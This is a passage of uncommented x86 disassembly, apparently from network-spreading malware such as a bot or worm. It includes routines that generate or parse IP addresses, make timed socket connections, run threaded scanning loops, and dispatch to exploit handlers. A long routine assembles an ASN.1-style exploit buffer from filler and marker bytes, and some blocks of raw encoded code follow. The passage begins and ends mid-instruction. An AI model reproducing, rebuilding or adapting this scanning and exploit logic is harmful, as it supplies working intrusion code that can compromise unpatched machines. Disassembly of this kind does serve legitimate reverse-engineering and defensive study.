[ebp+arg_0], eax call dword_4CAF70 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26A0617h push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A74 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A4C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43140C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 2690000h jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 nop call near ptr 26F0000h loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi nop call near ptr 26F07A8h push 80000400h push esi nop call near ptr 26F05DBh test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B58 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j call near ptr 26908FFh nop push eax lea eax, [ebp+var_1CC] push offset unk_431AEC push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AAC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 nop call near ptr 26F07A8h loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx call near ptr 26F0000h nop loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B8C push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E8905757h, 2283998h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 4118E8FCh, 0FF900226h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 0E8575700h dd 22838A8h, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 27E80875h, 90022640h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8E8 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C40 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FC4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C4C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FB8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FB4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FA4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431F9F+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, 